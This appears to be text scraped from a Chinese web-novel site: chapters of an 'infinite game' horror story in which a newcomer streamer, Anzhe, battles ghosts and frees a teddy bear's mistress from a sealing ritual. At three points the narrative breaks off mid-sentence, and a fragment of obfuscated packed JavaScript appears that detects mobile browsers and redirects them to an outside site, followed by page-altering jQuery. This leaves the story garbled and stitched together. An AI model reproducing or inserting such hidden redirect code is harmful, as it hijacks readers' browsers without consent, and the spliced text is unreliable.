[哈哈你这条弹幕携带屏蔽内容,弱智主播看不见的,他要是看见了估计能当场气死hhh,话说新主播那边在走这个副本的隐藏线吧,嘻嘻,马上反转剧情就要上演了,我去那边继续蹲了]
[啊啊你说那个,要到了吗,那我也过去,这个副本最有看头的点就是这个,可惜没几个新人能触发走到这个支线,无限游戏的新人越来越废物了,4M系统选人能不能用心点啊,无语]
呼呼啦啦的,祁槐辛本就剩得不多的观众又走了大半。
看着直播间里前所未有的人数新低,死活想不明白发生了什么的祁槐辛快要疯了。
怎么会这样,虽说他这次副本里的表现确实有点拉,老观众们看无聊了可能会切去看其他主播,但关注和粉丝怎么会降了这么多的?!
瞄了一眼仍在大跳水的关注粉丝数,祁槐辛咬牙,眼中红光愈盛。
问题肯定不是出在他身上,以前直播效果不好时也没有这样过。
别让他知道是哪个小兔崽子干的……
指尖狠狠地掐进肉里,祁槐辛眯眼,动作自然地向后瞄去。
本来准备让他们再多活一天的,既然这样的话,你们就死在这副本第一夜吧……
拿着从一楼房间里搜索出的任务线索和关键道具,祁槐辛目光微冷,转身向身后面容疲惫的两个新人看去。
“抓紧时间修整一下,等下我们再去二楼看看。”
“……二楼?!”
闻言,和祁槐辛一起胆战心惊地探索了一楼,体力消耗大半,一晚上的时间心情大惊大吓下有些扛不住了的两个新人有些难绷。
“祁哥,这都后半夜了,我们又忙活了大半个晚上,你看,我们要不休息一下?”
黑框眼镜男率先开口,另一个新人也紧跟其后。
“是啊祁哥,再过几个小时天就亮了,天亮后更安全,要不我们……”
“你们这是,不打算配合喽?”
见状,祁槐辛笑了笑,也懒得装了。
“你们不来的话那我就一个人去,到时候万一有什么鬼怪偷袭,救不到你们死了,可别怨我。”
祁槐辛目光阴森森的,宛如刀子般在两个新人身上划过。
面对他毫不掩饰的赤.裸威胁,再想想一楼厕所里和安哲溜鬼追逐战时祁槐辛利用道具往队友身上引鬼的行动,两个新人顿了一下,脸色顿时难看了起来。
但再难看也只能忍着,祁槐辛手里的道具尤其的多,再加上他明显不同寻常的见识与果断,剩下的两个新人又不是个傻的,多少都能看出点他的不凡。
就像祁槐辛说的,他去二楼探索,他们两个新人留在一楼,到时候出了事祁槐辛把鬼往一楼引,猝不及防下他们两个谁能活?
“祁哥说笑了,我们刚才就是太困了,说话没过脑子。”
眼中看不见的红光愈盛,黑框眼镜男咬牙,对祁槐辛讨好一笑。
“您要是上楼探索的话,我们肯定听您的。”
一起跟着起码能分享到探索值,他现在副本探索度已经涨了不少,到时候等探索度到了60他就秒退游戏。
而且……
悄悄地往旁边瞄了一眼,黑框眼镜男目光幽幽。
他旁边不是还有一个吗,到时候出了事不一定要跑得过鬼,跑得比队友快就行了。
日记本在祁槐辛的手上,再死一个的话,想必日记本上的内容就能全解锁了吧?
.
“唔,差不多够了。”
伴随着能量的逐渐吸入,黑色珠子上的光芒越来越亮。
看了眼被吓瘫在地的床板人皮鬼,玩偶小熊将黑色珠子重新塞回肚子里,他扭头看向安哲,纽扣做成的眼珠猩红。
“你刚才从楼上直接跳下来,等下准备怎么回去?”
扫了眼始终紧闭着的大门,玩偶小熊好心提醒。
“大门和他们当初设立的阵法相连,在阵法没有被破坏前,一楼所有通向外界的窗户和门都是被封死的。”
“他们,他们是谁?”
安哲下意识追问,但玩偶小熊闭口不语,一副没救出人来前我是不会告诉你的沉默表情。
见状,安哲无奈,回头看了眼身后高耸矗立的古堡。
“唔,爬上去?”
对比了一下高度,安哲有些不太确定。
“以前为了找吃的和能用的东西,我外出探索的时候经常爬楼,这古堡看着挺低的,外面也都是砖好爬。我爬过二十多层的废弃大厦,外面光溜溜的全是玻璃,只能踩着老化的废弃外机上去,还总有(丧尸)干扰,特别难爬。”
安哲说这话的本意是想宽一宽小胖的心,示意他这么矮的楼他拎着小胖爬上去松松的。
末世妖魔鬼怪太多,人比丧尸还少,活下来的人都死气沉沉勾心斗角的,难得见李祥这样活力向上还老实诚恳的小胖子,安哲还是挺喜欢他的。
但这番劝慰的话一出,李祥当场就惊了。
“安哥,你以前到底是干什么的,是那种……那种传说中很神秘很铞,经过魔鬼地域训练的超级雇佣兵吗?”
为了找吃的徒手爬写字楼,这么硬核的吗!?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546146|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>安哲不好解释这个,便给李祥甩了个“高手的世界你不懂”的沉默眼神,看起来唬人极了。
不止人被唬住,站在一旁的小熊玩偶也被成功震到。
“二十多层……真厉害啊……”
声音沙哑地感慨几句,憋了半天后,玩偶小熊盯着安哲使劲瞧了几眼,最终他挠了挠头,很是无奈。
“你就不能说你爬不上去,然后我送你个东西吗。”
“唔,”安哲沉默了,“那我现在说我爬不上去你还信吗?”
“或者你送我也行,熊兄我铁定是爬不上去的。”
见NPC似乎要收回即将给出的奖励,李祥给安哲使了个眼色,示意他先上去把东西骗过来,等拿到后再交给安哲。
“……”,小熊玩偶不想说话,他看着眼前这几个家伙,有轻轻松松的,有嬉皮笑脸的,有原地躺平的,也有绝望摆烂的,画风格外的不正常与出奇。
一时间,小熊玩偶脑子眼都是疼的。
在古堡潜伏了这么久,见惯了危机四伏和相互厮杀,这还是它第一次见在古堡里探索得如此轻松写意的选手。
要不是时机和场合不对,小熊玩偶都想拽着安哲的衣领问上一句。
你礼貌吗?!
“算了,给你吧,反正也是你打下来的战利品。”
抱着手术刀来到藤蔓鬼被砍断的根部,玩偶小熊蹲下身,用手术刀向断藤下方,看起来平平无奇的一个部位挖去。
就在他动手的那一刻,原先瘫在地上和攀在古堡墙壁上,看起来似乎已经死透了的藤蔓们狂扭嘶吼,疯了般向着玩偶小熊狂刺而去,墨绿色的藤蔓都泛起了猩红的光。
然而它们再快也没有玩偶小熊的动作快。
几乎就在藤蔓有反应的瞬间,玩偶小熊就快准狠地将断藤处隐藏着的能量核心挖出。
和之前战斗时抽搐几下才倒下,疑似是在演戏的反应不同,暗绿色能量核心挖出来的下一秒,冲刺抽打而来的藤蔓就断电般瞬间瘫痪。
攀在古堡墙壁上的藤蔓不再扭曲,在半空中竖起直立,狠狠抽来的藤蔓也瞬间瘫软。
仿佛对眼前的这一切早有预料般,将能量核心挖出的玩偶小熊头都没抬。
看着躺在Q版熊掌上的能量核心,玩偶小熊缅怀似的沉默了几秒。
片刻后,他拿着能量核心的熊爪微握,淡淡的黑光从熊掌上冒出,能量核心里,传来了刺耳而又怨毒的哀嚎。
——▇▇!!!!
那哀嚎声短暂而又含糊,所包含的意义却似乎很多。
原本躺在地上装死的庄灿他们抽搐了几下,下意识地挣扎后退,看向玩偶小熊的表情满是惊恐。
仿佛没事人般,玩偶小熊挥爪将能量核心上散发的黑烟挥去,他举爪,沉默地将不再浑浊,澄澈清透的能量核心交到了安哲手里。
“拿着吧,有了这个,你就能掌控古堡外的藤蔓,从二楼破口处自由进出古堡。”
玩偶小熊的声音沙哑,他紧紧地握住手中的黑色珠子,歪掉的脑袋低斜地看着不远处古堡,猩红纽扣做成的眼睛里似乎有流光闪烁。
配合着黑沉沉的夜幕与偶尔亮起的闪电,场面看起来诡异而又狰狞。
“走吧,”不知何时起,小熊手中的手术刀逐渐湿润。
殷红的鲜血一滴滴地从刀尖低落,砸在黑色发润的湿土地上滋滋作响。
“是时候结束这一切了。”
轰隆隆——
雷声歇斯底里地嘶吼着,仿佛要将这黑暗贯穿撕散。
短暂到来的光明间隙里,安哲握着能量核心哼着歌,他跟在玩偶小熊的身后,愉快地踏上了前往地狱的不归路。
17.唐顿庄园(十七)
第17章
滴答——
晦暗幽深的地下长廊中,液体滴落的声音寂静回荡。
那声音似乎是在逐渐靠近,但仔细去听时,又发现水声滴落的距离始终不变,不远不近地跟着,粘稠而又令人恐惧。
李祥跟在安哲身边,眉头皱得死紧,手中,系统商城里兑换出的战术手电光恒定地亮着,照亮了眼前这方幽深的道路。
“还有多远?”
行走在幽静的环境中,人的声音也会下意识压低。
未知的恐惧使得心神始终绷紧,看着眼前这循环往复,仿佛永远都走不到劲头般的幽深石道,李祥皱眉,压低嗓音对前方领路的玩偶小熊小声询问。
“走了快有半个小时了,还没走到吗?”
甬道是缓坡向下的,走了这么久还没走到……目的地是有多深?
“快了,马上。”
走在前方领路的玩偶小熊头都没回,举着火把前行的身影淡定。
换了只手拿火把,玩偶小熊甩了甩被烫得有些冒烟的爪子,声音沙哑粗粝。
“你对时间还挺敏感的。”
地下环境幽深阴暗,一路走来还没有参照物,不光方向容易迷失,人对时间的观念也很容易错乱。
没想到小胖子能这么准确地说出他们下地后的时间,玩偶小熊用线勾出的粗短眉毛挑了挑,一时间有些诧异。
不过也仅仅是诧异了,伴随着他们的逐渐深入,甬道中,潮湿的雾气逐渐泛起,那雾气格外粘稠,几乎凝成了实质。
随着众人众鬼的走动,介于灰黑与暗白色之间的雾气被搅动散开,黏腻地附着在皮肤上,给人一种仿佛被舔抵与抓揉的强烈不适。
庄灿扛着镜子和油画,一手一个地走在队伍最后,精神逐渐恍惚。
他总觉得眼前的这一切似曾相识,冰冷的雾气摩挲而过,不断刺激着他的皮肤和神经,耳边,仿佛幻听般的潮声不断响起,由远及近地向他靠拢过来。
哗啦啦的,似乎要将他拉入永无宁静的幽深海域中吞噬。
隔着重重雾影,前面始终前行着的身影突然停下,庄灿打了个激灵,从刚才恍惚的精神状态中猛地回过神来。
不知是不是他的错觉,他总感觉一路走过来时,走在最前方的那个破熊玩偶一直在偷偷打量着他们。
不,不是偷偷,是光明正大的打量。
时不时地瞟他们一眼,居高临下中带着股警惕与轻蔑,就好像……怕砧板上的肉跑了一样,需要时不时地看上一眼。
“到了。”
粗粝刺耳的声音响起,将不知不觉又开始发呆的庄灿唤回神来。
这里他也没有来过,庄灿将肩上扛着的镜子和床板放下,探头好奇地打量着。
足有两三米高的石门紧紧闭合,光滑的石门在门脚的位置上开了个奇怪的破口,暗红色的诡异图案在石门上反复涂抹,浓郁腐臭的血腥味传来,昭示着石门上的图案原料都是些什么东西。
“准备好,我要开始开门了。”
小熊玩偶将怀里的手术刀插在石门上的破口处,手术刀与破口严丝合缝地契合,酸涩刺耳的扭动声响起,紧闭着的石门轰然洞开。
血红色的雾气嗡鸣涌出,直扑了傻站在门口处的庄灿三只满头满脸。
三只鬼:“……???”
那血红色的雾气腥臭异常,泼在皮肤上又痛又痒,等庄灿他们龇牙咧嘴地硬扛过这一波后,转头,就看见了安哲拎着小胖子躲在拐角处,腿边还站着只怀抱手术刀的小熊。
看着三只鬼一脸懵逼的样子,安哲扫了眼从白惨惨变得红通通、破碎碎的三只鬼,委婉而又好奇地问道。
“不痛吗?”
大家都躲了,就你们三个用脸接下了这波,你们三个好勇。
见状,还没反应过来就被泼了一身的三只脸都要气歪了。
这是痛不痛的问题吗,你们躲的时候怎么不带喊人,啊不,喊鬼的啊!
庄灿张口欲骂,脏话脱口而出的前一刻,看着安哲笑眯眯捏起的结实小拳头,以及小熊玩偶怀里缓缓抱起的锋利手术刀。
庄灿一下子就老实下来,狂暴猩红的眼睛也变得清澈。
“下次,”他忍气吞声地说道,“可不要再这样了噢。”
其变脸速度之快,转换态度之迅猛,看得安哲都愣了一下,默默放下了举起的拳头。
“我还是比较喜欢你刚见面时桀骜不驯的样子,要不你恢复一下?”
面对这翻译过来就是“最近你老实多了,我没找到机会揍你,要不你嘴硬一回,我趁机毒打你一顿”的狗话。
在生活,以及安哲(这个是重点)的毒打下情绪愈发稳定的庄灿笑了笑,甚至连眼中冒出的红光都在缓缓变淡。
“那个,我感觉里面的雾气散得差不多了。”
担心安哲看他不顺眼顺手来上邦邦两拳,从第一次认(偷)识(袭)安哲开始后别说三天了,一天时间里就被打了不止九顿的庄灿扛着人皮床板和画板,把被遮挡住的石门位置挪开,乖巧贴心地提醒道。
“得抓紧时间去救人了吧?”
等着嗷小登,我感觉我快突破了,等我突破后必生啃了你!
挨打多也是有好处的,或许是被揍了还打不过,打不过还要被抓来做苦力,以至于体内的怨气愈发强烈的缘故,庄灿能感受到自己正在不断变强。
快了,就快了,等到他突破,突破到一个新的层次上……
猩红的眼珠盯着安哲,庄灿丑陋肿胀的笑容愈发乖巧。
到时候他要让这个折磨了他这么久的小变态求生不得,求死不能!
生啃实在是太便宜他了,他要让这个小变态在永无止境的绝望中高呼庄灿大人万岁,被他奴役在手心中永恒折磨啊桀桀桀桀桀!
“哥哥,你在想什么,表情看起来好变态啊?”
庄灿回过神来,就看到了安哲那张在自己眼前无限放大的精致脸蛋。
听着这声变态不已的“哥哥”,庄灿脑海中,无数被安哲“gegegege”着毒打的画面飞快划过。
庄灿抖了一下,身上的皮下意识地骤然绷紧,差点把手上拎着的人皮都抓了个窟窿出来。
“呵,呵呵,没什么,我就是在想……”
在人皮床板鬼敢怒不敢言的幽愤目光中,庄灿红通通的眼珠飞快转着,将暗怀鬼胎这四个字诠释得淋漓尽致。
“我在想小熊大人的小主人马上就要救出来了,我替小熊大人开心呢。”
自从小熊玩偶将藤蔓鬼遗留下来的能量核心一把抓住,顷刻炼化后,三只鬼面对小熊玩偶时的态度都明显尊敬了很多。
起码表面上是这样的,庄灿甚至臭不要脸地开始喊起了小熊大人。
“是这样吗?”
安哲扫了眼系统面板,发现刚才还时断时续,时而大规模刷屏,时而好久不动的庄灿能量值再度开始稳定提供。
拍了拍庄灿肩膀,一直在等这家伙突破,结果庄灿就死活卡在那里,导致他实力也没法提升的安哲叹了口气,真心实意地给上了祝福。
“要加油啊。”
你要是再不赶紧突破的话,我就真的只能考虑再揍你一顿了,起码之前他撵着庄灿四处跑的时候,这家伙提升的速度还挺快的?
“……废话说完了吗?”
玩偶小熊抱着手术刀,刀柄在地上不耐烦地敲了敲。
他目光不爽地看了过去,片刻后,似乎也觉得安哲不好惹,小熊玩偶目光游弋片刻后锁定在了庄灿身上,眼神格外暴躁。
“聊完了就赶紧来干活,定金……我可是提前付过了,干活再不积极……可就说不过去了……”
似乎是因为脑袋被薅掉过的缘故,玩偶小熊说起长句来总是断断续续的,但也正是因为这个,沙哑断续的嗓音听起来格外渗人。
被玩偶小熊压迫感十足的目光盯上,庄灿下意识一抖,但几秒钟的秒怂片刻后,回过神来的庄灿却只想无语地狂翻白眼。
服了,不敢对上安哲那个小变态就都
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556284|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来欺负他呗,呵呵了,等他突破等级成长起来变成大佬,就把你们都啃啃啃啃啃了!!
扭曲地挤了个狰狞的微笑,庄灿拎着人皮床板鬼和油画鬼,自觉地向角落里走去免得碍眼。
在玩偶小熊催促的目光里,安哲和李祥开始动手。
他们从玩偶小熊的手中接过黑色珠子,而后将黑色珠子放在石室正中央,洞口平滑而又圆润的圆形小洞里。
地面缓缓旋转,五个安置在阵眼上的陶瓶从地下升了上来,淡红色的透明屏障升起,阵法内外的空间被隔绝开来。
摆放在最中央的陶瓶是黄色的,瓶口之上贴了张看起来很破,摇摇欲坠得似乎随时都会被风吹跑的符箓,按照小熊给的丝绢上的内容,他们只需要将陶瓶打破,再将驱鬼符箓撕掉,就能将小熊主人被震住的魂魄救出。
但问题是……安哲看着阵法中央那冒着阵阵黑气,阴气森森怎么看怎么不像是个好东西的陶瓶,下意识迟疑。
里面的东西敌意好大,既然是小熊主人的话,难道认不出外面的小熊吗?丝绢上还特意写了一定要先打破陶瓶,再将陶瓶上贴着的符箓撕掉,还有画倒了的五行阵法……
安哲给小胖子使了个眼色,示意他开始动手。
他们两人抱起地上陶瓶,动作飞快地准备将对应颜色的陶瓶安放在正确方位上,这陶瓶似乎与地上的阵法相连,瓶身闪烁着诡异的红光,拿起时阴风阵阵的,似乎有人在耳边不断地呢喃低语。
安哲行动时还好,精神恍惚了一下就将陶瓶强行换位,身后,比他还早一步行动的小胖子却明显迟滞下来。
李祥抱着怀里的陶瓶眼神发直,头越来越低,他直勾勾地盯着陶瓶瓶口,表情惊悚而又恐惧,似乎是想要将头塞进瓶口里。
喃喃低语着旁人听不清的话,安哲原地转身,动作僵硬,看样子似乎准备把抱起来的陶瓶再放回去。
“小胖……李小胖……醒醒!”
安哲将陶瓶换好位后,阵法内的阴风与寒气明显小了不少。
扭头发现小胖子似乎被魇住,安哲便将小胖子怀里的陶瓶接手,顶着阵法阻力与精神攻击,安哲硬是大力出奇迹地将阵法陶瓶换位完毕。
“芜湖,搞定!”
伴随着阵法的切换,原先不详阴气疯狂外冒的陶瓶也开始变得温润祥和,甩了甩有些发晕发涨的脑袋,安哲搓了搓脸,抬眼关切地向李祥看去。
“你没事吧哥哥?”
“……我没事大佬哥,就是梦见我刚才差点爬进那个陶瓶里,好吓人啊。”
隐约间感觉到自己刚才“看”的一切都是真的,差点就真的把脑袋塞进去,在生死线上走了一遭的李祥精神还有点恍惚。
想想自己刚才半梦半醒间看到的内容,李祥脸色发白,嘴唇不断颤抖。
“那里面……那里面塞着的全是尸骨……是人的……新的老的都有……不断有人爬进去……安哥,这是一个血祭仪式!”
“……你们在干什么!!?”
不等小胖子把话说完,仪式阵法外,被他们这行动惊到的玩偶小熊回过神来,气得拿手术刀的爪都在抖。
“你们这是在干什么……竟然破坏小主人的复苏仪式……我不会放过你们的……你们该死……都该死!”
黑森森的雾气从玩偶小熊身上冒出,他哀嚎嘶吼着,猩红纽扣做成的眼珠里流下殷红血泪。
眼看着玩偶小熊举起手术刀准备冲进来跟他们拼命,安哲连忙将李祥往自己身后一扯,抢在手术刀劈砍在阵法屏障前,安哲严肃开口,表情郑重。
“你先别急,你的小主人没事!”
将李祥最初在房间里找到的另一张纸条线索拿出,安哲举着这张纸条向玩偶小熊看去,言语间满是诚恳。
“这个仪式你也不是第一次举行了对不对?失败了那么多次,你心里应该也有点模糊感觉了。”
小熊玩偶即将砍下的手术刀猛地一顿。
“有人欺骗了你,当初将这个破阵之法交给你的,是谁?”
18.唐顿庄园(十八)
面对安哲的询问,玩偶小熊并没有开口,但与此同时,向下劈砍而来的手术刀也没有再下落。
仿佛按下了冻结键般,携带着风声呼啸而来的手术刀骤停,锋利的刀锋停在阵法屏障的上方,向下低落的血光砸在屏障上嗤嗤作响。
在调整过位置后的阵法温润光芒里,玩偶小熊盯着安哲,阴沉的目光依旧。
“我怎么知道……你没有在骗我?”
“你看这个,”安哲将手中的纸条摊开,往玩偶小熊那又凑了凑。
“‘和以五石之精,安冢莫,利子孙,镇魂镇恶,永世无穷也’,这个纸条是在二楼书房找到的,如果我没猜错的话,这才是这个阵法最初设立的意图。”
安哲把这张纸条放在地上,又将玩偶小熊当初交给他们的丝绢拿出。
“还有这个丝绢,对着光仔细看,就能发现丝绢两面都写着字,只不过正面的字被刻意洗刷后几乎看不见,再加上污血反复的浸染,看起来就像是只有背面一面有字一样。”
当初这个丝绢,安哲拿到时就感觉不太对劲,但由于厨房里光线太昏暗,污血的痕迹又过深,以至于他第一时间没有发现。
后来小胖子那句“好像在哪里看到过”提醒了安哲,两人拿出纸条一对,尽管纸条上的内容也不全,不少地方也被血污遮盖,但恰巧,为数不多露出来的几个字,就包括了丝绢上写反了的内容。
——这两个是需要配合着使用的道具,缺少一样都不行。
面对并排摆在地上的纸条和丝绢,玩偶小熊沉默着没有说话。
他缓缓放下了即将劈在阵法屏障上的手术刀,周身的气息愈发狂暴,怔怔地看着地上的纸条,仿佛明白了什么般,玩偶小熊纽扣做成的眼睛里光芒闪烁不定,殷红的血泪如蜿蜒的小溪流淌。
所以说,这么多年他一次又一次地启动仪式,小主人的气息却越发微弱,都是他害的对吗?
这群该死的家伙……
攥紧了手中的手术刀,仿佛眼泪流干流尽,小熊玩偶的眼中不再有液体冒出,唯余两道深褐色的泪痕残留在他的脸颊上,看上去格外骇人。
“谢谢你……人类……”
短短几秒的功夫,玩偶小熊身上的气息不断飙升,压抑中带着满满死气的气息在这方天地中回荡。
冒着淡淡红光的阵法屏障在这气息的压迫下,发出不堪重负的咔咔脆响,最终,玩偶小熊身上的气息停留在了一个令安哲都感到有些压力的程度。
似乎是顾忌到这沉睡着小主人灵魂的阵法安危,小熊玩偶将身上的气息飞快收敛。
他拄着怀里的大号手术刀,顶着那仿佛从地狱中爬出的血泪妆容,看向安哲声音沙哑地问道。
“接下来……要怎么做……”
“这个我也不太清楚,在这个阵法下面,应该沉睡了两个灵魂,其中比较温和的那个应该是你小主人的,另一道气息格外邪恶。”
感受到那隔着阵法都快压抑不住的阴冷与恶念,安哲皱眉,有些无奈地向小熊玩偶看去。
“现在就看你想怎么做了,恢复之后的五行阵法是滋养灵魂、镇压邪祟的,但由于之前的阵法被多次逆转启动,里面另一道灵魂已经被滋养到了很强盛的地步,正在阵法里顶着压制和你主人争夺能量。”
“你应该也能感受得到,继续这样下去的话,你小主人的灵魂会在阵法里被他逐渐侵吞,只不过速度会比之前慢上无数倍……
而按照丝绢上写的内容做的话,会发生什么,里面的两个灵魂都被放出吗?”
知道小熊玩偶不是第一次启动这个阵法了,安哲索性直接开口翻看答案。
“之前阵法是翻转的……需要被镇压的灵魂在上……小主人的灵魂在下……撕掉符箓后出来的只有那个邪恶灵魂。”
“我之前以为……是小主人忘了我……被邪恶气息侵蚀……才会这样的……”
结果没想到,是李鬼替换了李逵,他所感受到的小主人气息,压根就是被镇压在下的小主人在阵法释放时泄露出来的几缕!
怪不得小主人的气息越来越微弱。
小熊玩偶恨得眼睛通红,恨不得又要冒血。
深深地吸了口气,小熊玩偶抬头看着安哲,声音沙哑而又认真。
“仪式继续吧……帮我……护住小主人……我告诉你……我知道的一切。”
“好,成交。”
笑眯眯地点头应下,安哲将地上摆着的道具收起,拎着手中的菜刀挥了挥,安哲歪头向玩偶小熊看去。
“那我们就,砸陶瓶撕符箓了?”
玩偶小熊点了点头。
似乎看出了安哲比较中意这把菜刀,玩偶小熊迟疑了一下,赶在安哲行动前轻轻开口。
“你手上的刀……沾染了我小主人的血……等下将她救出来后……她可以帮你将这刀彻底占有。”
玩偶小熊说得比较委婉,安哲愣了一下才反应过来。
庄灿之前无意间说漏过,这把刀杀过一个很特殊的存在,让他没事不要折刀。
所以说,当初凶手就是用这把刀杀的玩偶小熊的小主人?
看着玩偶小熊不愿多说的样子,安哲点了点头也没有多问。
示意李祥在角落里躲好,安哲拎着菜刀,笑眯眯地向陶瓶走去。
“你要干什么?不要用这刀去砸这些陶瓶,你敢!!”
这些陶瓶看起来脆弱易砸,菜刀看上去却有金铁交加的声音,菜刀鬼躲在菜刀里被震得晕头转向,无能狂怒。
在愤怒出击与保守蜷缩间,菜刀鬼毅然决然地选择了愤怒蜷缩。
似乎也知道自己藏身之处即将被剥夺,菜刀鬼窝在菜刀里歇斯底里地怒骂着,将没有素质的嘴臭老登这一形象诠释得淋漓尽致。
“真能骂啊,这老登词汇量是真多,看来她死前真的看过好几本书,难怪能被守门使……难怪能被那个守门老登看上。”
悄么么地猫在石室角落里,知道这种程度的大佬斗殴他们卷进去就是个死的三只鬼一边努力降低自己的存在感,一边忍不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565979|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住地好奇探头。
晃着塞满了水的大脑袋,在学习骂人方面格外上进的庄灿努力记着。
他立志将这通骂人脏话全部学会,然后等安哲带着他打进前上司家里时,将这番话和被欺压多年的怨气一起狠狠砸在菜刀鬼这个老姘头的头上。
唔,这算不算是原汤化原食?
努力翻找了个毫不搭边的俗语,觉得自己好像又变得聪明和有文化了一点的庄灿格外骄傲,团成一团笑呵呵地期待着未来生活。
等他突破等级限制,成功把安哲这个小变态拿下,撕去胳膊和腿后细细咀嚼,一定会变得更聪明的吧。
嘿嘿。
[那边那个潮湿鬼影笑什么呢?看着跟个二傻子一样好傻-逼啊,不是有以前看过这个副本的在吗,这副本真就这么简单?一路平推过去就可以?]
新人主播的首页热榜曝光度还是不小的,不断有新观众被吸引过来,看了一会儿就发现不对劲了。
[前面的,你要不要看看你在说什么,这可是颜值区啊你醒醒,颜值区,新人主播,无限游戏,副本平推,这几个词你连在一起用礼貌吗?]
[这本我以前看过,根本不是这样下的啊啊啊!正常新人光陶瓶那里就抱不起来的好吧,不光有阻力,更可怕的是交换路上鬼会用精神攻击和幻觉来杀人,主播走着走着就跟小饼干一样,一个接一个的被嘎巴折断飙血塞瓶子里,看上去可好玩了……]
[不是这样的+1,正常来说想要交换陶瓶位置,必须要用血来浇灌阵法,然而阵法一旦见血,之后释放出来的厉鬼得到加持后会变得超凶,出来直接秒全场那种……
哪像现在这样会被新人追着全场跑啊!@无限游戏,SB系统快来,有人在你家游戏里开挂!!!]
这个副本支线有点连环套的意思,道具收集不齐,玩偶小熊的好感度不够,都会在阵法开启时引导向BE版本的坏结果。
但最坑的是,哪怕道具收集齐了,成功看出丝绢上的恶意引导与反转阵法,交换陶瓶时的危险性仍旧极高,最终释放出的恶魂实力也极为可怕。
“……这么能跑的吗哥哥?”
安哲一刀劈砍下去,却在黑色恶魂的极力闪躲下再次落空,听着菜刀砍在地上时发出的清脆鸣音,与那菜刀蹦出道豁口时菜刀鬼崩溃的呐喊与咒骂。
安哲喘了口气站在原地,他看着宛如刚充饱气,又突然被扎了个破口的气球般在阵法里疯狂乱窜,快得带出连连残影,一路尖叫怒骂的黑色恶魂,眼神一时间有些茫然。
“不是,这真的是新手副本吗系统?”
想想一路走来的那些危机与副本里的险恶设计,拎刀追着鬼砍了一晚上,遇到的鬼一个比一个能跑的安哲也有些心累。
看了眼眼前气息狂暴,在疯狂逃窜的途中仍不死心地想攻击他的黑色恶魂,再看一眼身后被打服了后咸鱼装死,瘫在角落里一个塞一个没用的虾兵蟹将们,安哲整个人都惊了。
“我怎么感觉你们这新手副本,新手过不去啊?”
19.唐顿庄园(十九)
【嗯……】
面对安哲“你们这新手副本真·新手过不去啊”的疑惑询问,发现好像确实是这样的小系统沉默片刻,艰难开脱。
【可能是因为,开启了支线剧情后副本难度增加了的缘故?】
翻了翻历史数据,发现近年来新手副本的死亡率确实在逐年升高,同样不清楚为什么会这样的小系统挠了挠头,试图转移话题。
【对了哲哲,之前完成任务给你漏发的任务道具,我给你要过来啦!】
“嗯?是什么?”安哲好奇询问。
看他停顿片刻有些微愣的样子,以为这家伙终于累没劲了,他的机会终于来到的黑色恶魂一声尖啸,带着狂喜歇斯底里地就冲了过去。
片刻后,在黑色恶魂吃痛狂啸的咒骂声中,与菜刀又崩了个豁口的菜刀鬼崩溃怒骂里,被吵得受不了的安哲揉了揉耳朵,眉头紧紧皱起。
“道具的事等下再说,我先把这家伙解决。”
深吸一口气提刀跟上,安哲带着点小情绪地嘟囔道。
“这家伙,好吵啊。”
听清楚了安哲这声嘟囔的在场其他人&鬼:“……”
看,他就说挨打还是要安静点的吧。
身为在场被揍经验最为丰富的鬼之一,庄灿抱着至今头盖骨还裂着几条缝的大脑袋,心有戚戚然地想道。
被揍了还让人家叫小声点,现在来古堡探险的人哦,真是越来越变态了。
长达半个多小时的殴打劈砍后,实在扛不住了的黑色冤魂尖叫一声,原地崩散。
仪式阵法外,不知何时起已经凑(缩)成一团的众鬼外加一人抱团取暖。
面对安哲砍累了之后甩着胳膊,拧眉表示这黑色冤魂脑袋过硬的评论,玩偶小熊深吸一口气,耷拉着脑袋扭头向身旁看去。
“小主人,该你上了。”
“啊?哦哦,差点忘了。”
小女孩的鬼魂刚被放出来时也曾桀骜不驯过,但见识过安哲砍鬼的架势后,此刻蹲在李祥身旁格外乖巧的魂灵状态·小女孩大梦初醒般回过神来,犹犹豫豫地向安哲那边飘去。
“那个,你好,我是琪琪的小主人,是你今晚任务的雇主之一哈……”
飘过去前先给安哲打了声招呼,生怕这个追着恶魂狂砍不已,硬是把恶魂给砍崩溃的变态砍上头之后顺手把自己也给砍了。
小女孩飘得格外缓慢,没有半点刚被放出来时蹿到李祥旁边,开玩笑要活吃了这个小胖子的灵活与狡诈。
“那我,开始吸了?这个恶灵之前吸收了很多我灵魂的能量,我现在准备吸回来,等拿回我的力量后我会变强很多,然后我帮你在菜刀上打上你的烙印哈,这样以后这把刀就是你的了,我可是个好鬼我跟他不一样的哦……”
或许是在阵法里被关押久了,一直没有人说话,小女孩的灵魂飘到安哲身边后,絮絮叨叨语句不顺地和他嘀咕了好一会儿。
